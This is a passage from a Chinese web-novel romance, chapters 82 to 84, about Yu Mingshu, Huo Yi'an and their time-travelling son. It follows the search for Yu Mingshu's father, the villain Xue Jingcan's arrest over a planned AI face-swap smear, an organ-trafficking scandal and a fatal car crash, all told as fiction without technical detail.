实际上这对霍懿安来说也相当陌生,但不同于空白一片的郁明殊,霍懿安脑部硬盘深处还存着父母早年存入的健康教育数据,加之曾在梦中通过特殊视角“看”过。 霍懿安对自己的学习能力相当有信心,他希望他们的初吻是温柔和缓有条不紊的,然而简单碰触后他便忍不住在郁明殊的口腔中横冲直撞。 两人的唇很快就在大力挤压吮噬中深红发肿……以至于限定的十五分钟到期,崽子拖着步履阑珊的爷爷赶过来时,两人可以迅速整理好凌乱交缠的衣物,却无法立即让唇部的红肿消下去。 郁明殊心虚掩唇,却还是被崽子精准捕捉:“拔拔为习么捂嘴?”! 郁明殊顿时更心虚了:“咳……” 霍懿安从大病未愈的亲爹手里捞过沉重的胖崽:“你爸爸找到亲人了,太过震惊。” 果然此话一出,崽子瞬间顾不上盯爸了:“习么!?” “小殊的亲生父母找到了?这么快?那边什么情况?”然而没等埃德蒙问完,车门已经再度关上。 意思不能更明确,接下来的时间属于他们的小家,不欢迎亲爹旁听。 埃德蒙:“……?” 虽然习以为常,但还是该生气的时候还是生气,面对如此冷酷无情的亲儿子,埃德蒙一怒之下怒了半下,对着车窗重重哼了一声。 第82章 车内的郁明殊虽然猜到霍懿安的反常,大概率是因为帮他寻找亲生父母的事情有了眉目,却也没想到这么快就找到了。 原以为亲生父母远在天边,实则近在眼前?或者说从多年未曾寻他的双亲其实另有苦衷?他们还是想要找回他的,霍懿安帮他寻亲时才能有迹可循,并在这么短的时间内就找到了…… 但敏感天性还是早早为他捕捉到霍懿安的异常,惯性般将他的思维带往最糟糕的可能——也许实际情况并不乐观。 心念飞转,复杂思绪交叠上涌,郁明殊略有些怔然,将崽接入怀中后也就忘了继续掩唇,而是下意识双手环抱紧拥怀中崽,神色复杂看向霍懿安以待下文。 好在怀中崽同样一脸认真,目光灼灼盯向亲爹,一时也顾不上俩爹的同款红肿嘴唇。 霍懿安虽然遗憾崽子来的太早,他不能成为郁明殊心碎时唯一的依靠,但有崽子在怀,郁明殊的承受力也的确更高。 所以他将已知信息和盘托出,从对面近期才提交DNA样品寻亲,到调查出的具体信息都被他完整复述下来。 首先,对面虽然已婚但只提供了父亲DNA样品,且妻子是F国船王独女,从血统上和时间上推断,郁明殊是在其订婚后、结婚前由其他女人生下的,而且大概率两段关系存在重叠。 一开始是因为崽子下意识喊出的“不阔以”,的确让霍懿安带了少许先入为主的偏见,但基于这些一目了然的信息,霍懿安客观上也很不看好这位近期突然认子的“左光石”。 更不要说深入调查后得知左光石身为赘婿,私生活却向来不检点,且背靠有力妻族,二十年来却毫无建树,如今婚姻虽未破裂,但可以想见夫妻关系并不和睦。 而之所以妻子埃琳娜没选择直接离婚,据张秘书分析是有两方面顾虑。 一是自从老船王离世后埃琳娜彻底成为事业型女性,本也不太在意婚姻,另一方面则是因两人育有一对极为优秀的龙凤胎,念及孩子多留了一份体面。 虽身处豪门,但一个没什么本事的赘婿的生活状态必然要仰赖妻子,左光石目前的日子自然是不好过的。 时隔二十年突然主动找孩子,也不免令人多想,他是不是受网上消息的影响,觉得郁明殊攀上了爱德华或是其他豪门,让他能够有所图谋? 总而言之,左光石无论哪一方面,都令霍懿安相当不满。 但郁明殊还是决定见上一面。 倒不是他还寄予什么不切实际的幻想,只是觉得既然已经找到了,就还是想亲眼看看,也许对方能够告诉他母亲的下落。 更重要的当然还是崽子曾脱口而出反对认亲,没准相见后嘟嘟还能想起其他信息。 而不论有没有合理理由,霍懿安都愿意无条件配合,所以很快便通过中间人确定了见面时间。 给出的理由也很简单,DNA样品初步比对通过,基本上就已经确认了双方的血缘关系,但要不要继续走完法律上的相认程序,复核前还是想先见面沟通一下。 而左光石那边不仅同意了,据中间人转述,左光石闻讯后异常激动,泪流不止,还立刻就要订最近的航班飞来B国与儿子相见。 还是在中间人的劝阻安抚下冷静下来,表示将一切选择权都交给郁明殊,什么时候见,在哪里见,都看郁明殊的意思。 霍懿安得知后,也算勉强给这位生物学上的岳父加了一分,左光石在他心中的评分成功从-57653提升到-57652,很显然,这一分还不足以令他改变任何想法。 没办法,常年生活在近乎热暴力的父母之爱中,左光石表露出这点“诚意”,在他看来不算什么。 但落在郁明殊身上……作为一个连五岁重病时养母的一个拥抱都被他怀念至今的人,郁明殊的确为此感到些许鼻酸。 而崽子曾脱口而出的“不阔以”则像一个警钟,时刻在他脑中回响,让他轻易无法对亲生父亲寄予希望。 霍懿安适时将人拥住,虽是当着崽的面,郁明殊也并未表露出排斥或挣扎,霍懿安就更觉得对方一定比表现出的更需要自己,结实的臂膀顿时收得更紧了。 崽子原本是靠在郁明殊腿上半坐着,随着俩爹越抱越紧,就这么直接将崽挤了出去,小屁股Duang的一下落回沙发上。 崽先是难以置信看向身侧的两人,很快又拧眉嘟起小嘴,但迟疑再三还是没开口呲哇乱叫。 毕竟这才是他记忆中爹地爸爸应该有的模样,比起“穿越”后逐步适应的陌生状态,反而是眼前的情况他更为熟悉。 霍懿安声线依旧低沉,却不似从前那么冷硬:“不论什么情况,都有我和嘟嘟在。” 一旁的臭脸崽子脸色缓合了些许,但还是一边往俩爹密不透风的怀抱里挤,一边夹着小奶音认真修正:“不论习么情况,都有嘟嘟和爹地在喔~” “是爹地和嘟嘟。” “是嘟嘟和爹地!” 郁明殊原本还在为自己太过渴望家庭温暖忍不住产生期待而自责,听到父崽二人的幼稚对话,眼底再多的纠结都被笑意取代。 虽然有很多问题存在,未来也许还会经历更多波折,但能拥有当下已经令他无比满足,他怎么能因那些不确定的事情,破坏如此珍惜的此时此刻? 郁明殊将崽也抱进两人怀中,对着崽子嘟起的小脸蛋轻轻亲了一口,无声胜有声,崽子的小腰板顿时挺得溜直,仰起小脑袋得意瞥了眼亲爹—— 嘟嘟赢咯!~ 霍懿安当然不能奢望郁明殊能主动亲自己一口,所以他借着崽子略显挑衅的小眼神,直接低头亲了郁明殊一口。 因是亲的额头,崽子也没法用不能亲嘴嘴阻止。 一时间,爸崽二人的脸都红了,一个是错愕赧然不知所措,一个纯是气的。 * 霍懿安原计划多留两日,陪郁明殊见完左光石再走,结果当天下午却被告知张秘书那边有了重大突破,他必须立即前往,便只能将会见左光石的安排暂时延后。 郁明殊听闻霍懿安是在调查亲叔叔时,意外查到了薛景灿身上,有着此前霍懿安的实时汇报,他很清楚想把薛景灿送进牢狱有多么困难。 薛德茂那个老狐狸在这方面相当有远见,早早就替唯一的孙子扫除了一切障碍,而薛景灿在国内差点闹出事后,到了国外也就更加小心谨慎。 虽然霍懿安不认为薛景灿能把记录分享凌虐游戏的变态癖好戒除,但派人调查至今也没能收集到足够让他送命的有力证据。 没曾想,山重水复疑无路,柳暗花明又一村。 有机会处理薛景灿自然是越快越好,但对于和亲生父亲见面一事,郁明殊也不想再拖了:“我自己去见他就好,反正阿姨和叔叔也在,你不用担心我……” 难得崽子单独被劳伦斯带走,霍懿安怎么会错过这个好机会?相较于用话打断郁明殊,他选择用嘴打断。 前一秒还在严肃讨论,下一秒薄唇就忽地覆了上来。 压根不给郁明殊抗拒挣扎的机会,一手托着下颌一手按着后脑,同时还没忘将下身往后退了退,避免过于激动的反应恶心到郁明殊。 好一番吮噬,亲得郁明殊不仅忘记挣扎,甚至忘记呼吸,整个人都被亲得绵软晕眩,霍懿安才开口劝道:“等我回来,让我陪你一起好吗?” 虽然他也觉得有他父母相伴不会有什么事,但心中实在太过在意崽子曾提及的“不阔以”和“三条命换来的”的说法,哪怕他已经将人查了个彻底,绝对有把握让左光石就算有问题也翻不出任何风浪,但不让他陪着他还是不能全然放心。 霍懿安也打算好了,郁明殊反对他就亲他,一直亲到他同意为止。 结果郁明殊被亲一次就同意了,霍懿安提前得到想要的答案,却一点都高兴不起来。 郁明殊自然能感觉到男人越发明显的微表情变化:“……怎么了?” “你这样就同意了?” 郁明殊丈二和尚摸不着头脑:“所以…你其实不希望我同意?” 更令他没想到的是,对于“A”or“B”的问题,霍懿安选择“or”,话刚才出口,便捧起他的下颌又亲了过来。 霍懿安亲得根本停不下来,好在张秘书的催问电话及时打了过来,让霍懿安勉强想起他还有要事要办。 霍懿安甚至来不及等崽做完第一次的催眠疗法。 等小家伙结束今日治疗,特意装出哭唧唧的可怜模样,却发现抢爸的对手早已走了,而郁明殊被一吻再吻的唇仍残留着不自然的红肿。 西奥多一扑进爸爸怀里,因催眠疗法回忆起的那一点恐惧就瞬间消散,注意到爸爸的嘴巴湿红一片,亲爹又不在现场没有作案嫌疑,水汪汪的蓝眼睛滴溜溜地转了又转。 片刻后崽狡黠眯眼小声问道:“拔拔偷吃辣辣了?” 郁明殊感受着因男人反复吮碾摩擦而火辣一片的唇,两颊温度飙升:“………嗯。” * A市。 自从捏造了郁明殊和爱德华之间的虚假绯闻,薛景灿就一直在等郁明殊的澄清回应,以此来挖出对方的藏身地点,除之而后快。 结果他等来等去,除了爱德华·珀西对郁明殊的觊觎探询,什么都没等到。 郁明殊就像人间蒸发了一样,哪怕舆论已经危及他未来的事业前途,也不发一言,就好像已经知道他早已做好猎杀他的准备。 薛景灿不由得越发怀疑,是哪里走漏了风声,亦或是老东西死前曾暗中派人告知,郁明殊才会如此彻底地销声匿迹。 当然,郁明殊能藏得如此严密,他背后的神秘金主肯定出了大力气,薛景灿现在已经确认了欧洋就是烟雾弹,也基本排除了此前对“伊恩”的怀疑。 如果是珀西现任家主的独子,没道理会如此谨小慎微,薛景灿一边暗松一口气,一边又觉得自己之前的想法也是太过天马行空。 他扯唇露出一抹嘲弄笑容,便准备彻底放开手脚。 郁明殊能得神秘金主庇佑,必然是靠着那一身过于漂亮的皮囊,薛景灿了解男人,更了解有钱男人。 财富积累到他们这种可观水平,再是顶级的性资源都唾手可得,郁明殊的外貌就算存在一定程度的稀缺性,但能得如此庇佑必然要有前提条件的,薛景灿要做的就是打破这个前提。 就比如,利用最先进的AI技术,为郁明殊打造一个足以让他成为所有人眼中荡|货|淫|娃的“切实证据”,他要让郁明殊的神秘金主知道,对方就是个被人玩烂的货色。 刚好薛德茂留下的素材很多,且他历任小情人本就与郁明殊有着几分相似性,视频的换脸难度不高,除此之外,为避免股价波动,只需要再把老东西及其他入镜的合作伙伴截掉即可。 薛景灿作为前沿科技发烧友,做这些对他来说没任何难度,就打算亲自操刀。 没曾想,他刚将视频从加密云端下载下来,人就被突然出现的警方拷住了。 薛景灿震惊不已,拷他的警察在看清一旁屏幕后同样大吃一惊:“连你爷爷的片子都看?你可真是个变态!” 是以与“薛景灿谋杀亲爷被捕”这一震撼新闻相继传出的,还有一条不胫而走的小道消息——【据说薛景灿被抓时正在看薛德茂的性|爱录像……】 没多久,单字为“哕”的词条便冲上了热搜。 第83章 虽说薛景灿虐狗变态的传闻早已人尽皆知,说他谋杀薛德茂多少还算合乎常理,但这人竟然会私下看薛德茂生前的乱搞录像,甚至还刚好被逮捕他的警方撞了个正着……这一切凑到一块就显得有些过于离谱。 哪怕是纵横瓜田多年,吃过见过的资深吃瓜群众都难以理解: 【啊???大袜子这是中文吗?[痴呆.jpg]】 【看谁的性|爱录像?薛德茂是我知道的那个薛德茂吗?】 【听说过伊莱克特拉情结和俄狄浦斯情结,但恋爷的还是第一次见,还是有钱人会玩啊[大拇指][痴呆]】 【所以当年薛景灿出国……其实是求爱失败被“白爷光”赶出去了?】 【艹哈哈哈哈白爷光什么鬼!!!恶心死了!】 【但薛景灿不光恋爷还杀爷,这是因爱生恨?sos脑子里已经有画面了,想吐[救救我.jpg]】 【太6了,一开始以为是薛维护郁,和爷抗争失败被发配到国外,后来发现薛也是畜生,就以为当初是老登送小登出国避祸,现在你告诉我其实是“白爷光”和“爱而不得长子嫡孙”……哕!!!】 这一消息实在太过猎奇也太过惊世骇俗,一时间讨论度空前绝后,完全无需霍懿安这边额外充值,关于薛家的各种负面词条如雨后春笋般一个接着一个往热搜上冲。 薛家祖孙的炸裂情况不仅被网友们称为骗婚死gay的最佳结局,比皇帝你儿子是gay更戏剧性的——单传大孙子爱上爷。 甚至因薛景灿被抓、薛家公关团队无力回天,彻底放任的结果便是此前一直被压的各种内幕,也都接二连三被再次曝出。 其中最为引人注目的便是之前被秒删的《xdm对yms有耐心是因他长得像白月光》,这次直接带着几人的大名发了出来。 薛德茂和这位名叫“明月笙”的白月光之间的爱恨纠葛虽然已经是几十年前的旧事,但因“明月笙”生前是当地颇有些名气的角儿。 当年拍摄了不少黑白照,虽然流传至今只剩几张彩扮齐全的剧照,但当地还有见过“明月笙”本人的戏曲爱好者。 经过相关媒体采访确认,证实“明月笙”与当下最火的神颜郁明殊足有七八分相似。 而薛德茂多年来一直致力于收集郁明殊仿品的事实早已人尽皆知,现在“明月笙”的旧闻一被挖出,吃瓜群众才算恍然大悟,搞了半天真正的白月光另有其人,而郁明殊是因为长得和“明月笙”太像,才会倒大霉被老不死的薛德茂盯上。 而明月笙这个白月光正主,当年同样很惨,名动一方前途大好却因痴心错付英年早逝。 虽然没有直接证据表明他过早香消玉殒是薛德茂导致的,但薛德茂联姻的消息传出不久,明月笙就不再登台,更是在数月后意外离世。 有传闻他是割脉自尽抢救不及,也有说他染上了怪病没能治好,总归是在薛德茂成婚不久便早早逝去。 消息一出,引无数人唏嘘不已。 还有好事者给郁明殊的照片用ps技术,手搓了全套戏曲妆容,也有人用ai复原了明月笙的素颜照,做出来的效果极为相像,即便明知这两种方案不可避免存在误差,但还是引得不少人产生怀疑。 其中一部分人觉得像到这种程度的顶级大美人,该不会是存在血缘关系吧? 另一部分人则觉得两人不仅长得像,眼底都自带破碎感哀伤神韵,形似神也似,没准郁明殊就是明月笙的转世。 当然,更多的吃瓜群众还是将其当做一份巧合,毕竟美到极致都具有一定的相似性,薛德茂这些年也没少找仿品,同类型的美男子多少也是有一些的。 网上主流热点,还是集中在薛家爷孙间惊世骇俗的猎奇走向上。 一开始还有人质疑,薛景灿作为薛德茂唯一的孙子,为什么要冒风险杀人,毕竟薛德茂已是风烛残年,不动手也撑不了多久,实在没必要为此额外背上一条人命。 但多了这一猎奇反转,一切就变得合理多了。 和感情相关的事最是难以琢磨,各种法治栏目中情杀的比重一向不低,大概率薛景灿当年出国就与此相关,时隔多年的蛰伏隐忍,再也无法接受“白爷光”依旧对其高仿版白月光的紧追不舍,直接因爱生恨痛下杀手。 这样的猎奇分析自然无法让霍懿安信服,尤其在他了解更多内幕的情况下。 薛景灿被捕时电脑里已经启动了脱机版本的ai编辑软件,肯定不是单纯的要欣赏薛德茂留下的乱搞视频。 具体是要做什么,薛景灿闭口不言,肯定不是什么好事,但因警方很快顺藤摸瓜破译了其加密云端,霍懿安便也没时间分析薛景灿又存了怎样的龌龊想法。 加密云端里不仅存有薛德茂这些年的“摄影作品”,还有薛景灿数不清的虐杀证据,只能说爷孙俩各有各的变态,且对摄影留念都有着病态执着,也多亏了爷孙俩多年来都在坚持记录他们的犯罪证据。 而破获加密云端,不仅薛景灿必死无疑,薛氏背后的黑产链条也被一并挖出,只因薛德茂不仅喜欢记录自己的乱搞过程,被拍下来的大部分还都是聚众乱搞,高清摄像头记录下太多与薛氏勾结的合作伙伴,其中就包括薛氏旗下国际连锁医院的几位重要负责人。 很快,薛氏旗下医院高移植率的成功秘诀也被爆了出来。 为什么在最广泛最普遍的肾脏移植手术中,普通人一肾难求,绝大多数三甲医院只能做到最多三移,但只要足够有钱就能在薛氏旗下医院以最快速度排到需要的器官? 甚至薛德茂本人一共进行了六次肾移植,前五次已经不可追查,但最后一次明确用的是供体来源最是稀缺的婴儿肾。 一切的原因都“归功”于——薛家背后经营了一条相当成熟的器官走私产业链。 而这条产业链的另一端,就接在了珀西家族上。 虽然霍懿安最初只存了捅出谋杀案的想法,让薛景灿这个危险份子早早杀人偿命,以绝后患。 但因意外撞破薛家爷孙多年“收藏”,拔出萝卜带出泥引起多米诺效应,火势乘风而起瞬间失控,直接烧到了珀西家族。 好处是可以一鼓作气连根拔起,坏处是他们目前做出的准备不足以让方案完美落地,但霍懿安也只能顺势而为,让尚未成熟的祛弊计划提前启动。 以至于原定只离开爸崽三五天的行程,一下拖出了大半个月还归期未定,甚至就连霍云轻和埃德蒙都变得异常忙碌,而郁明殊爸崽则出于安全考虑被严格限制在庄园内。 起初郁明殊还总是会因即将到来的见面而胡思乱想,并非他故意为之,而是脑袋一闲下来就会不自觉反刍痛苦,或是产生一些负面联想。 这是他从小习惯讨人喜欢时刻自省养成的坏毛病,十几年养成的恶习十分顽固,即便他和劳伦斯沟通过多次,自己也会努力压制这些不好的思绪,却不是短时间内能够彻底消除的弊病。 不过随着时间推移,事情进展逐渐白热化,郁明殊的关注点也就陆续转到了归期不定的霍懿安身上。 虽然霍懿安每天都会抽时间跟他联系,也会实时报备最新进展,但郁明殊还是忍不住担心。 毕竟器官走私案这条利益链横跨了多个巨富家族,辐射范畴极广……不用想也知道,现在一定有很多利益受损的大人物,想要从根源了结此事,也就是解决掉霍懿安。 但郁明殊也很清楚,他现在唯一能做的就是带着嘟嘟安安稳稳留在庄园。 起码不能让霍懿安在前方冲锋陷阵时,还要额外担心他和嘟嘟的安全,所以虽然中间人几次替左光时发来见面询问,都被他拒掉了。 郁明殊理智上努力配合,不给霍懿安拖后腿,但感情上还是忍不住胡思乱想。 所以这些天他忍了又忍,还是没忍住第五次向崽发问:“嘟嘟今天有没有想起来,之前你的那个“爹地”有没有经历什么不好的事情?” 崽此前不论是对薛景灿的仇视,还是对郁明殊亲生父母的排斥,都给予他们一定程度的预警提示,郁明殊这时候也只能寄希望于宝贝崽崽又想起些什么。 西奥多对此没有一丝不耐烦,每次都绷起小脸认真思索大半晌,才会一本正经给出答案:“还是米有耶……” “不过!宝觉得!应该是米有嘟!~” 崽子挺起小胸脯,试图让自己看起来更可信一些,实际上只能让他看起来更可爱。 西奥多挺胸抬头,一双白嫩小手边说边比划讲解:“如果有,宝不阔能一点点都想不起鸭~” 这也有些道理,但郁明殊的心只能放下一半,只因当下的情况,即使两边世界初始状态完全相同,这边也因崽介入产生的蝴蝶效应大不相同。 如果没崽突然出现,他和霍懿安不可能这么快就产生交集,也就是说在相同时间线下,那边的进展应该是远慢于这边世界的,也许在崽子两岁半穿越前,那边的霍懿安还没调查、涉足得那么深入。 当然,这有可能就是他的瞎想,他现在太过于忧心焦虑了。 意识到这一点,郁明殊一把抱住崽子,在小家伙的发顶汲取能量般重重吸了一口,然后才笑着颔首:“嘟嘟说得没错,爹地一定不会有事~” 西奥多脑中的小雷达也是超敏级别的,自然能看得出爸爸在强颜欢笑,但他还是配合着甜甜一笑重重点头:“当盐啦!~” 郁明殊近期虽然时刻忧虑着霍懿安的安危,但也发现崽子原本逐渐减轻的洋腔洋调口齿不清又有点反弹了。 他将其归咎于切换语言环境带来的副作用,一边觉得有必要注意一些,一边又觉得小家伙吐字不清奶声奶气说话的模样特别可爱。 犹豫一瞬还是笑着纠正道:“是当‘然’,当然啦~” 崽子眨巴着蓝宝石般的桃花眼,小奶嗓夹得更紧了:“当~盐~啦~” 郁明殊唇侧弧度加深,又字正腔圆地纠正了几次,崽子才慢悠悠改正。 之后爸崽二人又上了一阵拼音课。 郁明殊之前就发现,原本一点就通的聪明崽子变“笨”了,当然,这不是突然发生的,而是伴随着洋腔洋调反弹一起到来的,就比如第一次在庄园后山看到小牛犊,崽子脱口而出:“哇cow!” 郁明殊愣了一下,左思右想也没想明白崽子是从哪里学会的“哇靠”,问过后才知道原来崽子说的是“哇!流流!”,郁明殊只好哭笑不得地纠正是“牛牛”不是“流流”。 不仅说中文时口齿不清的情况加重,还容易混合英文单词,疑似到达三岁前的语言系统混乱期。 郁明殊不得不分出一些精力,帮助崽子走出语言混乱期,刚好他台词基本功很扎实,十分适合当混血小洋崽的纠音教师。 从前崽子由劳伦斯完全接手后,郁明殊就容易胡思乱想,现在就算胡思乱想,也要先将崽子的中文课提前备好,也算因祸得福让他的心绪稳定不少。 西奥多倒是没想到这么多,一开始只是觉得每次自己口齿不清的时候爸爸都会笑得特别开心,他也能跟具周围人的反馈察觉到自己乱说话时特别可爱,单纯是想方设法和亲爹争宠,才会故意说他的宝宝语。 没想到,他刚想到并应用起自己的小计策,缠人的亲爹却突然忙了起来,而没了亲爹远距离骚扰,别说爸爸总是神思恍惚,他小崽崽都觉得突然闲下来很不适应! 西奥多不愿承认,他有一捏捏想爹地了。 再加上郁明殊虽然努力遮掩,但难逃崽子法眼,西奥多也很希望自己能想起什么有用信息,奈何劳伦斯的疏导进程太过缓慢,目前只是淡化了他对“梦中黑房子”和“薛景灿”这三个字的恐惧。 崽都有点着急了! 大概是日有所思夜有所梦,这一晚的崽子终于又做梦了。 几乎是一躺上床,还在浅眠状态他就开始做梦了。 所以这次的梦不同于此前如坠深渊的代入感,西奥多感觉自己像风筝一样漂浮在半空中,不仅意识清晰知道自己是在做梦,还急切想要从梦里获得有关爹地的安全信息。 是以当他看到熟悉的凯洛斯蓝车被红色重卡撞碎时,瞬间就被吓醒了。 西奥多扑棱一下坐起身,因过于惊恐,没能第一时间发出叫声,直到郁明殊抱住他询问时,崽才抖着一张苍白小脸哑声说道:“爹地…爹地被撞了!” 第84章 话音未落,郁明殊的脸色就已经变得比西奥多还白,不过作为爸爸,一个成熟的大人,面对已经陷入恐慌的崽子,他不该表现出慌乱。 遂定了定心神,一边帮吓坏的小崽轻抚胸口,一边柔声安抚:“嘟嘟不怕,之前嘟嘟预见的内容都是没发生的,这次一定也是,嘟嘟先告诉爸爸,这次嘟嘟具体梦到什么了呀?” 郁明殊说完,胸腔里狂跳的心脏都获得了不小抚慰,对父母有着天然信任的小幼崽就更是如此,西奥多原本泪花都在眼眶里打转,听到爸爸这么说,小胸脯都挺直了不少。 崽重重点头。 因梦境就发生在刚才,根本无需回忆,崽子立即像竹筒倒豆子般噼里啪啦将目睹车祸过程原原本本说了出来。 “就是嘟嘟在天上飘啊飘啊,飘了好久,突然听到吱嘎!”西奥多说到这里不仅拔高了声音,还捂住了小耳朵,显然是被梦中轮胎猛擦地面的尖锐声音刺到耳朵了。 “宝低头看,就看到了爹地的蓝色车车!然后pang!!!”西奥多的小脸再次浮现惊恐神色,身临其境的视觉冲击再次让崽湿润了眼眶,“蓝车车被红色大卡车哗啦撞碎!” 说到这里,崽子再也绷不住了,嗷呜一嗓子扭身埋进爸爸怀里,嗡声嗡气呜咽哭叫:“爹地呜呜呜宝要爹地……” 不仅崽子没意识到自己之前的中文异常流畅准确,郁明殊同样没发觉丝毫异样,此刻他的心脏像是被什么攥住了般,身前黏着暖融融的怀中崽,就显得身后渗出的寒意更加清晰。 虽然他能够用“提前预知”暂时框住心底的恐惧,但大概是霍懿安的生死对他来说实在太过重要,而无情的命运又总是一而再再而三将他推往绝境,郁明殊很难保持乐观,安慰崽子的话他其实自己都无法相信。 尤其是想到凯洛斯蓝对应的典藏款劳斯莱斯全球只有二十辆,西奥多这次的梦境实在太真实也太具有针对性了。 私人飞机虽然能够运输车辆,但带车出差其实非常麻烦,一般情况下都没必要那么做,也只有霍懿安这种程度的龟毛人士,才会不惜事倍功半也要坚持折腾。 郁明殊几乎是弄清梦境内容后,立即拨通了霍懿安的电话。 熬过漫长的几秒、十几秒、几十秒……最终因无人接听自动挂断。 这是从没有过的事情。 此前,郁明殊没有一刻和霍懿安断联过,甚至霍懿安三天前得知他半夜失眠散步,还主动提出不论任何时候,睡不着要人陪的时候就给他打电话。 无论什么时候,无论他是忙是睡,他都会为他随时保持通话。 这一刻,郁明殊的心已经坠入谷底。 但他还在轻声哄着怀中吓坏的崽子,同时快速拨通了张秘书的电话。 结果同样石沉大海。 郁明殊感到强烈的窒息,他其实心底还埋怨着霍懿安,他讨厌被欺骗,也讨厌霍懿安一边骗他一边还恶意揣测恶言相向,这太糟糕了。 但霍懿安又并没有坏很久,而且从一开始也只是脾气坏素质差,在最糟糕的时候也没有损伤他的利益,是所有坏人中最好的一个。 更不要说霍懿安很快就变成好人,对他越来越好,越来越好,好到他根本没法计较曾经的坏,甚至还觉得是自己太小气,太矫情,是因为过去的遭遇扭曲了心理,才会过度在意那些不该计较的事情。 他一边渴望霍懿安的爱和碰触,一边又耿耿于怀斤斤计较,所以他只接受从不主动,只享受霍懿安滚烫的爱意,从不直面自己的真心。 因为,他以为他们还有很多时间。 因为嘟嘟的存在,让他清楚即便协议到期,他和霍懿安之间仍旧有坚实的绳索将他们牢牢绑定。 他梦到过霍懿安突然改变心意;梦到过霍懿安突然说一切都在骗他,其实他根本不爱,只是觉得戏弄他很有趣;还梦到过他永远无法破除旧日阴影,整日精神恍惚最后还因此离开了父崽…… 但他从没意识到,霍懿安也可能会以死亡的形式离开他们。 虽然只是两通电话未能打通,郁明殊却已经眼前发白,并感到强烈的窒息感,但因怀中还有他必须守护到底的宝贝,是他和霍懿安共同拥有的珍贵礼物。 崽子的存在给了他勇气,不论是出于爸爸身份,还是出于西奥多从各种意义上来讲都是“神的礼物”,即便身体因陷入过度恐慌而肢体僵麻,呼吸不畅,郁明殊还是尽可能不表现出来并努力自救。 思绪飞转,郁明殊隐约记起霍女士曾吐槽过。 虽然每一辆汽车都按照霍懿安的要求完美改装到令190+大块头极为舒适的程度,但霍懿安并非每次外出都会带上自己的车。 一般是计划停留五天以上才会,而这次外出处理薛景灿相关事宜,原计划是三到五天,刚好卡在一个可带可不带的时间区间上…… 郁明殊立即拨通了庄园管家的电话,很快便收到准确答复,霍懿安这次没有带任何一辆车外出。 郁明殊猛松了一口气,立即将好消息告诉崽子。 西奥多听说爹地的蓝车车一直停在车库里,再次验证了此前关于提前预见未来的说法,紧绷的圆润小身体也软了下来。 时间虽然有点晚了,但郁明殊还是在缓了缓心神后一边给霍懿安和张秘书留言,一边拨通了霍女士的电话。 霍云轻接到郁明殊电话时相当惊喜也相当意外,但考虑到时间还是敏锐察觉出一丝不对:“小殊怎么了?是嘟嘟发生什么事了吗?” 郁明殊不希望霍云轻像他刚才一样被吓到,所以先询问霍懿安和张秘书手机联系不上的原因,又在提及崽子的预知梦时明确告知霍懿安这次一辆车没带的事实。 效果很成功,电话另一端的夫妻俩提起的心很快落回肚子里,但可惜的是两人也不知道手机打不通的原因。 埃德蒙让妻子按下免提,有些困惑地安慰道:“大概两个小时前,我和懿安通话过,当时一切正常,应该只是信号问题。” 郁明殊心里更安稳了几分,又听霍云轻笑着说道:“小殊你就带嘟嘟放心睡吧,嘟嘟的梦就让你叔叔这个夜猫子告诉懿安。” 郁明殊笑着谢过,但他很清楚自己今晚要是联系不上霍懿安是不可能睡得着的,便打算拜托霍女士如果联系上霍懿安,不论几点,都希望能在第一时间告诉他。 然而没等他把话说出口,电话另一端就响起了一串急促的来电铃声。 紧接着被埃德蒙接起,而后是一段比起地道中文更加流畅丝滑的母语对话。 虽然含有许多连读吞音,十分考验郁明殊的听力水平,但他还是听懂了其中的“traffic accident”。 郁明殊恍惚一瞬立即追问:“交通事故…谁出了交通事故?懿安吗?!” 霍云轻同样始料未及:“小殊你先冷静一下,只是说疑似……”嘴上说着安慰的话,但霍云轻喉咙已经艰涩非常,仿佛瞬间便因急火封喉。 虽然霍云轻很喜欢吐槽儿子,但对于她几乎付出生命才生下的孩子,对于这个夫妻俩多年来用心血浇灌出的儿子,霍云轻遭受到的打击并不比郁明殊少。 尤其是她比郁明殊更了解儿子近期处于多么危险的境地,他动了太多人的利益,利益链条上的每一个人都想杀掉他…… 现在,对三大一小来说,唯一的救命稻草就是还未能确定死者的具体身份。 然而他们终究是等来了准确答复,这稻草终究是成了压垮他们的那一根。 确认无误,一共两名死者,一名亚裔男,一名金发男,甚至肇事车辆就是西奥多梦中所见的红色重卡。 霍云轻听到消息后直接晕死在丈夫怀里,郁明殊脑中一片空白,眼前发黑,单薄的身体晃了晃,仿佛随时要跌到地上,但他很清楚自己怀里还抱着他们的孩子。 郁明殊迫使自己保持清醒,他用力咬住下唇,浓烈的锈蚀气息瞬间弥漫整个口腔,血混着早已无声遍布的泪痕一并滴落。 西奥多哭得声嘶力竭:“爹地!!呜哇要爹地!!!” 崽每一声悲戚呜咽,都如一把钝刀,死死锤入郁明殊的胸膛。 他这一刻才意识到,他其实根本不在乎霍懿安曾经的欺骗和未来可能会存在的欺骗与抛弃,他只希望他好好活着,其他什么都不重要…… 一家人心如刀绞之际,相关新闻意外传回了中文互联网。 一方面是B国华裔群体庞大,其中有很大一部分人常年处于两头吃瓜状态,这次的车祸又十分邪门,肇事司机是个印裔,出事时处于毒驾,被撞的还是一辆价值高昂的豪华轿车。 事发时涉事轿车车身撕裂成两半,车后排的金发男子当场死亡,另一个亚裔男子抢救无效也死了,全车只有轿车司机幸免于难,且伤情不重。 而据道路监控录像显示,肇事司机一开始就如同瞄准般撞向轿车后排。 熟悉的劳斯莱斯,熟悉的金发和亚裔搭配,再加上金发死者的姓氏“珀西”没多久就被曝光出来,这条B国时事新闻迅速引爆中文互联网。 【卧槽,该不会是郁明殊和那个什么爱德华珀西吧?!】——这几乎是绝大多数吃瓜群众共同的猜测。 紧随其后便是对嘟嘟的担忧:【嘟嘟呢!?我的宝贝怎么样了?!![爆哭]】 【不会吧……郁明殊不会吧……嘟嘟肯定受不了的[心碎流泪猫猫头.jpg]】 【不要啊啊啊啊啊】 【不是说爱德华珀西有黄热病吗?这个亚裔死者也许不是郁明殊啊,我就没见过郁明殊和嘟嘟分开过QAQ球球惹拜托千万不要是殊殊啊!殊殊嘟嘟都是我的宝贝TATTTTT】 虽然郁明殊疑似和爱德华珀西这种垃圾有勾连,嘟嘟也疑似与珀西家有血缘关系,甚至近期还曝出珀西家是参与人体买卖的最大毒瘤。 即便如此,在生死关头,本性纯善的吃瓜群众还是希望郁明殊和孩子都还好好的。 毕竟郁明殊想要摆脱薛氏爷孙,凭他自己只能苦苦挣扎,早晚为人鱼肉,他能够做出选择的范围本就不大,更有可能他根本就没得选。 如果是被迫上了珀西家的贼船,就这么草草了却一生,也实在是太可惜了。 